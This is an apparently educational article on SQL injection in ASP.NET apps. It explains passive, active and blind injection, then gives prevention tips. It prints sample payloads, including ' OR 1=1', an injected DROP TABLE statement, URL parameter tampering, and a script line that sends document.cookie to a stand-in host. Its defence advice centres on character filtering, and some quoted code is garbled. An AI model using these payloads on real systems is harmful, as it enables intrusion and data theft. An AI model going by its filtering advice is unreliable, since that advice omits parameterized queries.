SQL Injections and their Prevention

Introduction

Whenever we make an application, we make sure of three things primarily, i.e; functionality, presentation and security. Out of all these three, the last one is sadly given the least importance.

Reason being it is not considered of utmost priority, and, developers invest more time in making the application faster and more effective. Here, in this article today, I wish to cater to the security needs of an ASP.NET application. We will be particularly focusing on SQL injections, as they are a most common and devastating way for a hacker to get inside your application.

We will start with what an SQL Injection is…

Our application always comprises a back end database, which is referenced for data. For ASP.NET, we generally use SQL Server, for PHP, MYSql is used and for Java applications, Oracle is referred.

SQL Injections can be harmful inputs which modify the Queries or Stored procedures in the database. Or a vulnerable input which manipulates our SQL commands to retrieve internal data or, more importantly, damage the data.

There are two kinds of SQL injections, Active and Passive.

• Passive Injection is the one where only a certain type or amount of data is retrieved.
• Active Injection is more harmful, as it modifies/destroys our data.

Now, SQL injections, after a slight background check and a little bit of clever use of technical backend knowledge, are very easy ways of hacking into an application very dangerously.

Hackers first figure out which backend database they are dealing with. This can be done with a simple exercise of hit and trial, for example, in Oracle AFL || AK is used for concatenation, in case they give this as an input and get an error saying invalid operator they can deduce that it is not Oracle. Similarly, for SQL, similar command is AFL+AK.

Also, they can figure out the same by viewing the front end pages, as mentioned earlier. Each type has its own respective back end.

Attacks of SQL Injection

There are three kinds of attacks that can be done when talking about SQL Injections, to the best of my knowledge.

Data Manipulation: Using the usual Select Query, a code can be injected to give out data that is not intended for all users.

For example:

While logging in an application, we generally use a SQL Query, which compares text inputs to a table in the backend and logs in a user accordingly.

Now, this query typically looks like the following query:

sqlquery = " SELECT USERNAME FROM USERLOGINTABLE _
	WHERE USERNAME = " " + strusername + " " AND PASSWORD = "" + strpwd + " " ";
sqlqueryresult = GetQueryresult(sqlquery);

Here, instead of giving a valid username, if we provide, " OR 1=1", the query becomes:

" SELECT USERNAME FROM USERLOGINTABLE WHERE USERNAME =  " OR " " = "  AND PASSWORD =  " OR  1= 1 ""

The query is valid and returns all the usernames and passwords in the table. This would be information not intentional for hackers, at the same time, even if it doesn"t return names, it logs you into the Home page of the application.

Another example of Active Injection is giving input as " OR 1=1 ; DROP TABLE Login--

** Common names of the table can be tried, as there are a handful of names we give to our DB tables.

In this case, the query becomes:

" SELECT USERNAME FROM USERLOGINTABLE WHERE USERNAME =  _
	" OR " " = "  AND PASSWORD =  " OR  1= 1 ; DROP TABLE Login-- ""

Here ";" ends the statement and begins the next statement which is to DROP the table. Rest of the statement is commented using "- -"

Similarly, an update statement can be as harmful, Input text can update tables in a way the developer wouldn"t want to and destroy the saved data.

Similar effect comes from hard coded strings and Unions which when cleverly used can give out details that are of utmost importance.

Code Injection

Code Injection is inserting certain code through the input field that may harm the site"s functionality or retrieve certain data.

For example:

There is a feedback column and I give in it, nice site > </Script> document.location=http://Mysite/cookie.cgi?+document.cookie</script>.

There is no telling what this can do for a website… the next time a user logs in, he can be easily duplicated for his identity.

Another example would be:

Changing parameters on the address of the website like Orderdetails.aspx?cusId = "111".

Here, we could modify it as Orderdetails.aspx?cusId = "111 or 1=1", here we are getting authorized for pages we might not have access to.

The third kind is the least known of all.

Blind SQL Injection

Like the name suggests, the blind SQL Injection takes place where the hacker has no prior information of the application. He tries to manipulate data into True or False queries and gets information about the database.

For example:

For a certain input text field, the query that goes is "SELECT * FROM Orders WHERE City ="" + Textbox1.Text + " " " ;

Now, Textbox1.Text has value Chicago"

With an extra """, we have injected an error in the SQL query. If not coded for generic error messages, the DB error shows the name of the table where there is an invalid character, hence giving out certain details which hackers can use to their advantage.

How to Avoid These Injections

Validations, Validations, Validations!

• All front end text inputs sold have validations (preferably customized functions like ValidateInput(), etc.
• Look out for characters like ;,- - etc which might harm your code and filter out the same. Mostly use a Replace or QuoteName function at the Stored Procedure level to truncate data which is passed in it.
• Note: Add an escape character to special characters for SQL in input, if any, rendering them harmless.
• Type checking and length validation is also helpful in this case.

Show Generic Errors

Whenever there is invalid input, or some such thing at the front end level, handle it in a way that no SQL DB details are disclosed. Show generic errors.

In spite of that, there are times when we don"t mitigate the SQL Injection code. However, that can be dealt with as well.

Make No Assumptions

• Always prepare for attacks like how would you deal with an embedded DROP statement in the text.
• Put limits to input text boxes.
• Use stored procedures as much as you can, this slows down the attack if not entirely stops it.
• Use captcha, Email Verification, etc. for higher sense of security.
• Log all data entries, Where from, where to, IP address, etc. so that if an attack is made, we can at least have an address to start investigation in.
• As soon as such an error is faced, user should be immediately logged out so he cannot further damage the system.

All these are still not protection enough, but it gives you a better sense of accomplishment, if the site you build is not so easily prone to attacks.

Happy coding!